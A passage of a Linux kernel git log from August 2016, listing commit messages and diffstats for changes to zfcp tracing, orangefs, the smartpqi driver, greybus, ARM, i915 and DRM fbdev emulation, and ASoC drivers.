is the FC frame's S_ID. We don't need a field for the other end which is always us. Signed-off-by: Steffen Maier Fixes: 2c55b750a884 ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.") Fixes: 7c7dc196814b ("[SCSI] zfcp: Simplify handling of ct and els requests") Cc: #2.6.38+ Reviewed-by: Benjamin Block Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/s390/scsi/zfcp_dbf.c | 2 +- drivers/s390/scsi/zfcp_fsf.c | 2 ++ drivers/s390/scsi/zfcp_fsf.h | 4 +++- 3 files changed, 6 insertions(+), 2 deletions(-) commit 7c964ffe586bc0c3d9febe9bf97a2e4b2866e5b7 Author: Steffen Maier Date: Wed Aug 10 18:30:50 2016 +0200 zfcp: restore tracing of handle for port and LUN with HBA records This information was lost with commit a54ca0f62f953898b05549391ac2a8a4dad6482b ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.") but is required to debug e.g. invalid handle situations. Signed-off-by: Steffen Maier Fixes: a54ca0f62f95 ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.") Cc: #2.6.38+ Reviewed-by: Benjamin Block Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/s390/scsi/zfcp_dbf.c | 2 ++ drivers/s390/scsi/zfcp_dbf.h | 2 ++ 2 files changed, 4 insertions(+) commit d27a7cb91960cf1fdd11b10071e601828cbf4b1f Author: Steffen Maier Date: Wed Aug 10 18:30:49 2016 +0200 zfcp: trace on request for open and close of WKA port Since commit a54ca0f62f953898b05549391ac2a8a4dad6482b ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.") HBA records no longer contain WWPN, D_ID, or LUN to reduce duplicate information which is already in REC records. In contrast to "regular" target ports, we don't use recovery to open WKA ports such as directory/nameserver, so we don't get REC records. Therefore, introduce pseudo REC running records without any actual recovery action but including D_ID of WKA port on open/close. Signed-off-by: Steffen Maier Fixes: a54ca0f62f95 ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.") Cc: #2.6.38+ Reviewed-by: Benjamin Block Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/s390/scsi/zfcp_dbf.c | 32 ++++++++++++++++++++++++++++++++ drivers/s390/scsi/zfcp_ext.h | 1 + drivers/s390/scsi/zfcp_fsf.c | 8 ++++++-- 3 files changed, 39 insertions(+), 2 deletions(-) commit 0102a30a6ff60f4bb4c07358ca3b1f92254a6c25 Author: Steffen Maier Date: Wed Aug 10 18:30:48 2016 +0200 zfcp: restore: Dont use 0 to indicate invalid LUN in rec trace bring back commit d21e9daa63e009ce5b87bbcaa6d11ce48e07bbbe ("[SCSI] zfcp: Dont use 0 to indicate invalid LUN in rec trace") which was lost with commit ae0904f60fab7cb20c48d32eefdd735e478b91fb ("[SCSI] zfcp: Redesign of the debug tracing for recovery actions.") Signed-off-by: Steffen Maier Fixes: ae0904f60fab ("[SCSI] zfcp: Redesign of the debug tracing for recovery actions.") Cc: #2.6.38+ Reviewed-by: Benjamin Block Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/s390/scsi/zfcp_dbf.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 35f040df97fa0e94c7851c054ec71533c88b4b81 Author: Steffen Maier Date: Wed Aug 10 18:30:47 2016 +0200 zfcp: retain trace level for SCSI and HBA FSF response records While retaining the actual filtering according to trace level, the following commits started to write such filtered records with a hardcoded record level of 1 instead of the actual record level: commit 250a1352b95e1db3216e5c5d4f4365bea5122f4a ("[SCSI] zfcp: Redesign of the debug tracing for SCSI records.") commit a54ca0f62f953898b05549391ac2a8a4dad6482b ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.") Now we can distinguish written records again for offline level filtering. Signed-off-by: Steffen Maier Fixes: 250a1352b95e ("[SCSI] zfcp: Redesign of the debug tracing for SCSI records.") Fixes: a54ca0f62f95 ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.") Cc: #2.6.38+ Reviewed-by: Benjamin Block Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/s390/scsi/zfcp_dbf.c | 11 ++++++----- drivers/s390/scsi/zfcp_dbf.h | 4 ++-- drivers/s390/scsi/zfcp_ext.h | 7 ++++--- 3 files changed, 12 insertions(+), 10 deletions(-) commit 4eeaa4f3f1d6c47b69f70e222297a4df4743363e Author: Steffen Maier Date: Wed Aug 10 18:30:46 2016 +0200 zfcp: close window with unblocked rport during rport gone On a successful end of reopen port forced, zfcp_erp_strategy_followup_success() re-uses the port erp_action and the subsequent zfcp_erp_action_cleanup() now sees ZFCP_ERP_SUCCEEDED with erp_action->action==ZFCP_ERP_ACTION_REOPEN_PORT instead of ZFCP_ERP_ACTION_REOPEN_PORT_FORCED but must not perform zfcp_scsi_schedule_rport_register(). We can detect this because the fresh port reopen erp_action is in its very first step ZFCP_ERP_STEP_UNINITIALIZED. Otherwise this opens a time window with unblocked rport (until the followup port reopen recovery would block it again). If a scsi_cmnd timeout occurs during this time window fc_timed_out() cannot work as desired and such command would indeed time out and trigger scsi_eh. This prevents a clean and timely path failover. This should not happen if the path issue can be recovered on FC transport layer such as path issues involving RSCNs. Also, unnecessary and repeated DID_IMM_RETRY for pending and undesired new requests occur because internally zfcp still has its zfcp_port blocked. As follow-on errors with scsi_eh, it can cause, in the worst case, permanently lost paths due to one of: sd : [] Medium access timeout failure. Offlining disk! sd : Device offlined - not ready after error recovery For fix validation and to aid future debugging with other recoveries we now also trace (un)blocking of rports. Signed-off-by: Steffen Maier Fixes: 5767620c383a ("[SCSI] zfcp: Do not unblock rport from REOPEN_PORT_FORCED") Fixes: a2fa0aede07c ("[SCSI] zfcp: Block FC transport rports early on errors") Fixes: 5f852be9e11d ("[SCSI] zfcp: Fix deadlock between zfcp ERP and SCSI") Fixes: 338151e06608 ("[SCSI] zfcp: make use of fc_remote_port_delete when target port is unavailable") Fixes: 3859f6a248cb ("[PATCH] zfcp: add rports to enable scsi_add_device to work again") Cc: #2.6.32+ Reviewed-by: Benjamin Block Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/s390/scsi/zfcp_dbf.h | 7 ++++++- drivers/s390/scsi/zfcp_erp.c | 12 +++++++++--- drivers/s390/scsi/zfcp_scsi.c | 8 +++++++- 3 files changed, 22 insertions(+), 5 deletions(-) commit 70369f8e15b220f50a16348c79a61d3f7054813c Author: Steffen Maier Date: Wed Aug 10 18:30:45 2016 +0200 zfcp: fix ELS/GS request&response length for hardware data router In the hardware data router case, introduced with kernel 3.2 commit 86a9668a8d29 ("[SCSI] zfcp: support for hardware data router") the ELS/GS request&response length needs to be initialized as in the chained SBAL case. Otherwise, the FCP channel rejects ELS requests with FSF_REQUEST_SIZE_TOO_LARGE. Such ELS requests can be issued by user space through BSG / HBA API, or zfcp itself uses ADISC ELS for remote port link test on RSCN. The latter can cause a short path outage due to unnecessary remote target port recovery because the always failing ADISC cannot detect extremely short path interruptions beyond the local FCP channel. Below example is decoded with zfcpdbf from s390-tools: Timestamp : ... Area : SAN Subarea : 00 Level : 1 Exception : - CPU id : .. Caller : zfcp_dbf_san_req+0408 Record id : 1 Tag : fssels1 Request id : 0x Destination ID : 0x00 Payload info : 52000000 00000000 [ADISC] 00 00000000 00000000 00000000 00000000 00000000 Timestamp : ... Area : HBA Subarea : 00 Level : 1 Exception : - CPU id : .. Caller : zfcp_dbf_hba_fsf_res+0740 Record id : 1 Tag : fs_ferr Request id : 0x Request status : 0x00000010 FSF cmnd : 0x0000000b [FSF_QTCB_SEND_ELS] FSF sequence no: 0x... FSF issued : ... FSF stat : 0x00000061 [FSF_REQUEST_SIZE_TOO_LARGE] FSF stat qual : 00000000 00000000 00000000 00000000 Prot stat : 0x00000100 Prot stat qual : 00000000 00000000 00000000 00000000 Signed-off-by: Steffen Maier Fixes: 86a9668a8d29 ("[SCSI] zfcp: support for hardware data router") Cc: # 3.2+ Reviewed-by: Benjamin Block Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/s390/scsi/zfcp_fsf.c | 4 ++++ 1 file changed, 4 insertions(+) commit bd77befa5bcff8c51613de271913639edf85fbc2 Author: Steffen Maier Date: Wed Aug 10 18:30:44 2016 +0200 zfcp: fix fc_host port_type with NPIV For an NPIV-enabled FCP device, zfcp can erroneously show "NPort (fabric via point-to-point)" instead of "NPIV VPORT" for the port_type sysfs attribute of the corresponding fc_host. s390-tools that can be affected are dbginfo.sh and ziomon. zfcp_fsf_exchange_config_evaluate() ignores fsf_qtcb_bottom_config.connection_features indicating NPIV and only sets fc_host_port_type to FC_PORTTYPE_NPORT if fsf_qtcb_bottom_config.fc_topology is FSF_TOPO_FABRIC. Only the independent zfcp_fsf_exchange_port_evaluate() evaluates connection_features to overwrite fc_host_port_type to FC_PORTTYPE_NPIV in case of NPIV. Code was introduced with upstream kernel 2.6.30 commit 0282985da5923fa6365adcc1a1586ae0c13c1617 ("[SCSI] zfcp: Report fc_host_port_type as NPIV"). This works during FCP device recovery (such as set online) because it performs FSF_QTCB_EXCHANGE_CONFIG_DATA followed by FSF_QTCB_EXCHANGE_PORT_DATA in sequence. However, the zfcp-specific scsi host sysfs attributes "requests", "megabytes", or "seconds_active" trigger only zfcp_fsf_exchange_config_evaluate() resetting fc_host port_type to FC_PORTTYPE_NPORT despite NPIV. The zfcp-specific scsi host sysfs attribute "utilization" triggers only zfcp_fsf_exchange_port_evaluate() correcting the fc_host port_type again in case of NPIV. Evaluate fsf_qtcb_bottom_config.connection_features in zfcp_fsf_exchange_config_evaluate() where it belongs to. Signed-off-by: Steffen Maier Fixes: 0282985da592 ("[SCSI] zfcp: Report fc_host_port_type as NPIV") Cc: #2.6.30+ Reviewed-by: Benjamin Block Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/s390/scsi/zfcp_fsf.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit c51e012942a7594f59db5611db14fa4a29624a10 Author: Martin Brandenburg Date: Fri Aug 12 16:12:09 2016 -0400 orangefs: do not allow client readahead cache without feature bit Signed-off-by: Martin Brandenburg fs/orangefs/file.c | 13 ++++++++----- fs/orangefs/orangefs-sysfs.c | 19 +++++++++++++++++++ 2 files changed, 27 insertions(+), 5 deletions(-) commit 6c223761eb5482dca2bd981d0a800c4aba3c9009 Author: Kevin Barnett Date: Mon Jun 27 16:41:00 2016 -0500 smartpqi: initial commit of Microsemi smartpqi driver This initial commit contains Microsemi's smartpqi module. [mkp: Minor tweaks to apply to 4.9/scsi-queue] Reviewed-by: Scott Benesh Reviewed-by: Kevin Barnett Signed-off-by: Kevin Barnett Signed-off-by: Don Brace Reviewed-by: Hannes Reinecke Reviewed-by: Johannes Thumshirn Reviewed-by: Ewan D. Milne Signed-off-by: Martin K. Petersen MAINTAINERS | 11 + drivers/scsi/Kconfig | 1 + drivers/scsi/Makefile | 1 + drivers/scsi/smartpqi/Kconfig | 50 + drivers/scsi/smartpqi/Makefile | 3 + drivers/scsi/smartpqi/smartpqi.h | 1133 +++++ drivers/scsi/smartpqi/smartpqi_init.c | 6306 ++++++++++++++++++++++++ drivers/scsi/smartpqi/smartpqi_sas_transport.c | 350 ++ drivers/scsi/smartpqi/smartpqi_sis.c | 394 ++ drivers/scsi/smartpqi/smartpqi_sis.h | 32 + 10 files changed, 8281 insertions(+) commit 482664ddba81b3a5404fd083bb9697dfffc0b6a4 Author: Martin Brandenburg Date: Fri Aug 12 12:02:31 2016 -0400 orangefs: add features op This is a new userspace operation, which will be done if the client-core version is greater than or equal to 2.9.6. This will provide a way to implement optional features and to determine which features are supported by the client-core. If the client-core version is older than 2.9.6, no optional features are supported and the op will not be done. The intent is to allow protocol extensions without relying on the client-core's current behavior of ignoring what it doesn't understand. Signed-off-by: Martin Brandenburg fs/orangefs/devorangefs-req.c | 10 +++++----- fs/orangefs/downcall.h | 6 ++++++ fs/orangefs/orangefs-cache.c | 2 ++ fs/orangefs/orangefs-dev-proto.h | 4 ++++ fs/orangefs/orangefs-kernel.h | 4 +++- fs/orangefs/super.c | 27 +++++++++++++++++++++++++++ fs/orangefs/upcall.h | 6 ++++++ 7 files changed, 53 insertions(+), 6 deletions(-) commit c9161d72b33ff5a3e43dd60c87adf113363866a1 Author: Jacopo Mondi Date: Fri Aug 12 10:05:41 2016 +0200 greybus: camera: Remove support for legacy modules Remove support for module implementing legacy version of camera bandwidth requirements specifications, now that all available camera modules have been updated to use the new version Signed-off-by: Jacopo Mondi Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 121 +++------------------------- drivers/staging/greybus/greybus_protocols.h | 12 --- 2 files changed, 9 insertions(+), 124 deletions(-) commit bcd3006f07ef9c80ac225854c1518c22f2f56d71 Author: Stephen Boyd Date: Wed Aug 10 20:17:34 2016 +0100 ARM: 8596/1: amba: Support clk parents and rates assigned in DT Add the call to of_clk_set_defaults() into the amba probe path so that devices on the amba bus can use the assigned rates and parents feature of the common clock framework. Cc: Michael Turquette Tested-by: Jorge Ramirez Ortiz Signed-off-by: Stephen Boyd Signed-off-by: Russell King drivers/amba/bus.c | 5 +++++ 1 file changed, 5 insertions(+) commit 7619751f8c900fa5fdd76db06f4caf095c56de8e Author: Kees Cook Date: Wed Aug 10 22:46:49 2016 +0100 ARM: 8595/2: apply more __ro_after_init Guided by grsecurity's analogous __read_only markings in arch/arm, this applies several uses of __ro_after_init to structures that are only updated during __init. Signed-off-by: Kees Cook Signed-off-by: Russell King arch/arm/kernel/cpuidle.c | 2 +- arch/arm/kernel/setup.c | 10 +++++----- arch/arm/kernel/smp.c | 2 +- arch/arm/lib/delay.c | 2 +- arch/arm/mm/mmu.c | 2 +- 5 files changed, 9 insertions(+), 9 deletions(-) commit d782e426b835bd2e79d868eb4af8510ed79e0aee Author: Nicolas Pitre Date: Fri Aug 5 06:03:41 2016 +0100 ARM: 8594/1: enable binfmt_flat on systems with an MMU Now that the generic changes are in place, this can be enabled on ARM with the use of proper user space accessors in the flat_get_addr_from_rp() and flat_put_addr_at_rp() handlers as rp actually holds a user space address. Signed-off-by: Nicolas Pitre Signed-off-by: Russell King arch/arm/include/asm/flat.h | 5 +++-- fs/Kconfig.binfmt | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) commit 55604b7ab1b5b8f560721e69b1ac059bd8d2078e Author: Andrey Smirnov Date: Wed Aug 3 20:33:34 2016 +0100 ARM: 8593/1: cache-l2x0.c: Do not clear bit 23 in prefetch control register As per L2C-310 TRM[1]: "... You can control this feature using bits 30,27 and 23 of the Prefetch Control Register. Bit 23 and 27 are only used if you set bit 30 HIGH..." which means there is no need to clear bit 23 if bit 30 is being cleared. [1] http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0246e/CJAJACBJ.html Acked-by: Arnd Bergmann Signed-off-by: Andrey Smirnov Signed-off-by: Russell King arch/arm/mm/cache-l2x0.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit fc1473103cfa0b785dd3ff8de2430fec42cfc8ad Author: Andrey Smirnov Date: Wed Aug 3 20:29:38 2016 +0100 ARM: 8592/1: cache-l2x0.c: Replace magic numbers Replace magic numbers used for L310 Prefetch Control Register Acked-by: Arnd Bergmann Signed-off-by: Andrey Smirnov Signed-off-by: Russell King arch/arm/mm/cache-l2x0.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 7d281b620d229486429d851b10a05da871d22e79 Author: Nicolas Pitre Date: Thu Jul 28 19:37:21 2016 +0100 ARM: 8589/1: asm/memory.h: remove dead definitions The last ad-hoc __phys_to_virt definition was removed in commit fd0053c9 ("ARM: realview: remove sparsemem hack"). Therefore we can remove the unneeded definitions and unduplicate the virt_to_pfn macro from asm/memory.h. Signed-off-by: Nicolas Pitre Signed-off-by: Russell King arch/arm/include/asm/memory.h | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) commit 3cb59581a860f5f542b37aed214f74b3f2ccfa32 Author: Mark Rutland Date: Tue Jul 19 11:23:37 2016 +0100 ARM: 8588/1: localise objcopy flags We currently define OBJCOPYFLAGS in the top-level arm Makefile, and thus these flags will be passed to all uses of objcopy, kernel-wide, for which they are not explicitly overridden. The flags we set are intended for converting a few ELF files into raw binaries, and thus the flags chosen are problematic for some other uses which do not expect a raw binary result, e.g. the upcoming lkdtm rodata test: http://www.openwall.com/lists/kernel-hardening/2016/06/08/2 This patch localises the objcopy flags such that they are only used for the cases we require them for today. Signed-off-by: Mark Rutland Acked-by: Kees Cook Tested-by: Laura Abbott Cc: Russell King Signed-off-by: Russell King arch/arm/Makefile | 1 - arch/arm/boot/Makefile | 2 ++ 2 files changed, 2 insertions(+), 1 deletion(-) commit bf31c5e07db81073aa7fedc5401afa967b177fe2 Author: Fabio Estevam Date: Mon Jul 18 13:09:36 2016 +0100 ARM: 8587/1: dma-mapping: Use %zu for printing a size_t variable According to Documentation/printk-formats.txt when printing a size_t variable we should use %zu or %zx format specifiers. As we are printing a memory size value, we should better use %zu in this case. Reported-by: Frank Mori Hess Signed-off-by: Fabio Estevam Signed-off-by: Russell King arch/arm/mm/dma-mapping.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ac96a609dca8b1909f93d13277dd5368e2de5a2a Author: Viresh Kumar Date: Thu Aug 11 13:27:25 2016 -0700 greybus: firmware: add comment to show size calculations The firmware file name's maximum length is set to 56 right now, but it isn't very much readable how we got to that value (unless someone reads that line). Update the comment to show calculations. Reported-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.h | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 0675363ac7ffe27a25bf237ce2bf1e084637a3a0 Author: Viresh Kumar Date: Thu Aug 11 13:27:24 2016 -0700 greybus: firmware: s/should/must Replace 'should' with 'must' to clear the expectation a bit more. Reported-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-download.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b2abeaa10d5711e7730bb07120dd60ae27d7b930 Author: Viresh Kumar Date: Thu Aug 11 13:27:23 2016 -0700 greybus: firmware: s/_LEN/_SIZE Alex Elder pointed out that the macros also count the trailing NULL ('\0') character and so it should be using SIZE instead of LEN. This patch makes that change. Reported-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/firmware/firmware-management | 8 ++++---- .../staging/greybus/Documentation/firmware/firmware.c | 6 +++--- drivers/staging/greybus/firmware.h | 2 +- drivers/staging/greybus/fw-download.c | 4 ++-- drivers/staging/greybus/fw-management.c | 18 +++++++++--------- drivers/staging/greybus/greybus_firmware.h | 10 +++++----- drivers/staging/greybus/greybus_protocols.h | 12 ++++++------ 7 files changed, 30 insertions(+), 30 deletions(-) commit 769cb83704db127119d063b55091f782007368e7 Author: Viresh Kumar Date: Thu Aug 11 13:27:22 2016 -0700 greybus: firmware: Remove extra parenthesis Remove the unnecessary parenthesis. Reported-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-download.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3590d50e2313644cd192ff55e83df76dea232319 Author: Sumit Semwal Date: Thu Aug 11 16:17:58 2016 +0530 dma-buf/fence: kerneldoc: remove spurious section header Commit e941759c74a44d6ac2eed21bb0a38b21fe4559e2 ("fence: dma-buf cross-device synchronization (v18)") had a spurious kerneldoc section header that caused Sphinx to complain. Fix it. Fixes: e941759c74a4 ("fence: dma-buf cross-device synchronization (v18)") Signed-off-by: Sumit Semwal Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470912480-32304-3-git-send-email-sumit.semwal@linaro.org include/linux/fence.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0951e458d2ebd06e5e83fbb8a67f52dd3146d594 Author: Sumit Semwal Date: Thu Aug 11 16:17:57 2016 +0530 dma-buf/fence: kerneldoc: remove unused struct members Commit 0431b9065f28ecf6c320fefebe0241620049984f ("staging/android: bring struct sync_pt back") removed child_list and active_list from struct fence, but left it in kernel doc. Delete them. Fixes: 0431b9065f28 ("staging/android: bring struct sync_pt back") Signed-off-by: Sumit Semwal Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470912480-32304-2-git-send-email-sumit.semwal@linaro.org include/linux/fence.h | 2 -- 1 file changed, 2 deletions(-) commit 04445681f710eb3a6a263504fa3e6f4199f12d87 Author: Marcel Ziswiler Date: Sun Jun 19 03:00:00 2016 +0200 ASoC: tegra: add tegra sgtl5000 machine driver This binding and driver describe/support playback to headphones, and capture from line-in and microphone. This driver is useful for the Toradex Apalis T30, Apalis TK1 and Colibri T30 modules. Signed-off-by: Marcel Ziswiler Reviewed-by: Stephen Warren Signed-off-by: Marcel Ziswiler Acked-by: Rob Herring Signed-off-by: Mark Brown .../bindings/sound/nvidia,tegra-audio-sgtl5000.txt | 42 ++++ sound/soc/tegra/Kconfig | 11 ++ sound/soc/tegra/Makefile | 2 + sound/soc/tegra/tegra_sgtl5000.c | 212 +++++++++++++++++++++ 4 files changed, 267 insertions(+) commit cb1b69b0b15b2897daeba8674c14c85a23a3347f Author: Laura Garcia Liebana Date: Thu Aug 11 18:02:07 2016 +0200 netfilter: nf_tables: add hash expression This patch adds a new hash expression, this provides jhash support but this can be extended to support for other hash functions. The modulus and seed already comes embedded into this new expression. Use case example: ... meta mark set hash ip saddr mod 10 Signed-off-by: Laura Garcia Liebana Signed-off-by: Pablo Neira Ayuso include/uapi/linux/netfilter/nf_tables.h | 20 +++++ net/netfilter/Kconfig | 6 ++ net/netfilter/Makefile | 1 + net/netfilter/nft_hash.c | 136 +++++++++++++++++++++++++++++++ 4 files changed, 163 insertions(+) commit 0b1de5d58e1972a88cfa5d1ea709a7b16934783a Author: Chris Wilson Date: Fri Aug 12 12:39:59 2016 +0100 drm/i915: Use SSE4.1 movntdqa to accelerate reads from WC memory This patch provides the infrastructure for performing a 16-byte aligned read from WC memory using non-temporal instructions introduced with sse4.1. Using movntdqa we can bypass the CPU caches and read directly from memory and ignoring the page attributes set on the CPU PTE i.e. negating the impact of an otherwise UC access. Copying using movntdqa from WC is almost as fast as reading from WB memory, modulo the possibility of both hitting the CPU cache or leaving the data in the CPU cache for the next consumer. (The CPU cache itself my be flushed for the region of the movntdqa and on later access the movntdqa reads from a separate internal buffer for the cacheline.) The write back to the memory is however cached. This will be used in later patches to accelerate accessing WC memory. v2: Report whether the accelerated copy is successful/possible. v3: Function alignment override was only necessary when using the function target("sse4.1") - which is not necessary for emitting movntdqa from __asm__. v4: Improve notes on CPU cache behaviour vs non-temporal stores. v5: Fix byte offsets for unrolled moves. v6: Find all remaining typos of "movntqda", use kernel_fpu_begin. Signed-off-by: Chris Wilson Cc: Akash Goel Cc: Damien Lespiau Cc: Mika Kuoppala Cc: Tvrtko Ursulin Reviewed-by: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1471001999-17787-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/Makefile | 3 ++ drivers/gpu/drm/i915/i915_drv.c | 2 + drivers/gpu/drm/i915/i915_drv.h | 3 ++ drivers/gpu/drm/i915/i915_memcpy.c | 101 +++++++++++++++++++++++++++++++++++++ 4 files changed, 109 insertions(+) commit d31d7cb1460c2942e23bfd0c0f4c8066b60353dc Author: Chris Wilson Date: Fri Aug 12 12:39:58 2016 +0100 drm/i915: Support for creating write combined type vmaps vmaps has a provision for controlling the page protection bits, with which we can use to control the mapping type, e.g. WB, WC, UC or even WT. To allow the caller to choose their mapping type, we add a parameter to i915_gem_object_pin_map - but we still only allow one vmap to be cached per object. If the object is currently not pinned, then we recreate the previous vmap with the new access type, but if it was pinned we report an error. This effectively limits the access via i915_gem_object_pin_map to a single mapping type for the lifetime of the object. Not usually a problem, but something to be aware of when setting up the object's vmap. We will want to vary the access type to enable WC mappings of ringbuffer and context objects on !llc platforms, as well as other objects where we need coherent access to the GPU's pages without going through the GTT v2: Remove the redundant braces around pin count check and fix the marker in documentation (Chris) v3: - Add a new enum for the vmalloc mapping type & pass that as an argument to i915_object_pin_map. (Tvrtko) - Use PAGE_MASK to extract or filter the mapping type info and remove a superfluous BUG_ON.(Tvrtko) v4: - Rename the enums and clean up the pin_map function. (Chris) v5: Drop the VM_NO_GUARD, minor cosmetics. Signed-off-by: Chris Wilson Signed-off-by: Akash Goel Reviewed-by: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1471001999-17787-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 21 ++++++++++-- drivers/gpu/drm/i915/i915_gem.c | 58 +++++++++++++++++++++++++++------ drivers/gpu/drm/i915/i915_gem_dmabuf.c | 2 +- drivers/gpu/drm/i915/intel_lrc.c | 8 ++--- drivers/gpu/drm/i915/intel_ringbuffer.c | 2 +- 5 files changed, 73 insertions(+), 18 deletions(-) commit 5a78ff7bf7e25191144b550961001bbf6c734da4 Author: Peter Chen Date: Thu Aug 11 17:44:54 2016 +0800 Revert "gpu: drm: omapdrm: dss-of: add missing of_node_put after calling of_parse_phandle" This reverts commit 2ab9f5879162499e1c4e48613287e3f59e593c4f Author: Peter Chen Date: Fri Jul 15 11:17:03 2016 +0800 gpu: drm: omapdrm: dss-of: add missing of_node_put after calling of_parse_phandle The of_get_next_parent will drop refcount on the passed node, so the reverted patch is wrong, thanks for Tomi Valkeinen points it. Cc: Tomi Valkeinen Signed-off-by: Peter Chen Acked-by: Tomi Valkeinen Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1470908694-16362-1-git-send-email-peter.chen@nxp.com drivers/gpu/drm/omapdrm/dss/dss-of.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 2f6963cb52bee440105f732b3411f18e38ed6e52 Author: Marcus Cooper Date: Sat Jul 30 17:56:38 2016 +0200 ASoC: sunxi: compatibility for sun6i to SPDIF The A31 SoC uses the same SPDIF block as found in earlier SoCs, but its reset is controlled via a separate reset controller. The DMA also complains when the maxburst is set to 4 so it's been adjusted to 8 which suites both the older and newer SoCs. Signed-off-by: Marcus Cooper Signed-off-by: Mark Brown sound/soc/sunxi/sun4i-spdif.c | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) commit fbb016a25dd0f4160df90bb1319e64e8209c7619 Author: Marcus Cooper Date: Sat Jul 30 17:56:37 2016 +0200 ASoC: sunxi: Add bindings for sun6i to SPDIF The A31 SoC uses the same SPDIF block as found in earlier SoCs, but its reset is controlled via a separate reset controller. Signed-off-by: Marcus Cooper Signed-off-by: Mark Brown Documentation/devicetree/bindings/sound/sunxi,sun4i-spdif.txt | 3 +++ 1 file changed, 3 insertions(+) commit 4e85e7776eba5f6d5a3b8b43f34001a73c5d08a1 Author: Peter Ujfalusi Date: Fri Aug 12 13:52:10 2016 +0300 ASoC: omap-mcbsp: Enable TX/RX under and overflow interrupts FIFO under or overflow can cause channel swaps and data loss. Reporting them can help to identify such events. Signed-off-by: Peter Ujfalusi Signed-off-by: Mark Brown sound/soc/omap/mcbsp.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 0c756134cf76350ee9b1b516065e5ea1bedac956 Author: Daniel Vetter Date: Wed Aug 10 18:52:38 2016 +0200 drm: Protect fb_defio in drivers with CONFIG_KMS_FBDEV_EMULATION For reasons that entirely elude me fb.h exposes all the structures, even when it is not enabled. Except for special stuff like fb_defio. Which means all the drivers which haven't yet switched over to the defio support in the helpers and still roll their own, will fail to compile when fbdev emulation is disabled. Protect just those bits, as a gnarly reminder that conversion to the core defio helpers would be good. Cc: Dave Airlie Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470847958-28465-6-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/qxl/qxl_fb.c | 4 ++++ drivers/gpu/drm/udl/udl_fb.c | 4 ++++ 2 files changed, 8 insertions(+) commit 9db7d2b20c1fae9722aaaed79570a03e80667186 Author: Daniel Vetter Date: Wed Aug 10 18:52:37 2016 +0200 drm/radeon|amgpu: Make fbdev emulation optional Seems to at least compile fine, only change needed was to use the fb_set_suspend helper. Cc: alexander.deucher@amd.com Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470847958-28465-5-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/Kconfig | 8 -------- drivers/gpu/drm/radeon/radeon_fb.c | 2 +- 2 files changed, 1 insertion(+), 9 deletions(-) commit 183cd49f1da039c791fa7e3d935c873ee4c47fd2 Author: Daniel Vetter Date: Wed Aug 10 18:52:36 2016 +0200 drm/vmwgfx: select CONFIG_FB vmwgfx doesn't actually build without that. It would be great if vmwgfx could switch over to the fbdev emulation helpers, since those will take care of all this already. I guess one reason to not do that was lack of defio support in the helpers, but that's fixed now. If there's any other hold-up, we should figure out what it is and whether it makes sense to address it. Cc: Sinclair Yeh Cc: Thomas Hellstrom Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470847958-28465-4-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/vmwgfx/Kconfig | 1 + 1 file changed, 1 insertion(+) commit b1116f645cb548fb73995509c210e24ab7782eb5 Author: Daniel Vetter Date: Wed Aug 10 18:52:35 2016 +0200 drm: Remove superflous linux/fb.h includes Everyone who uses the fbdev emulation helpers doesn't need to include fb.h directly. Remove it. Reviewed-by: Alex Deucher Signed-off-by: Daniel 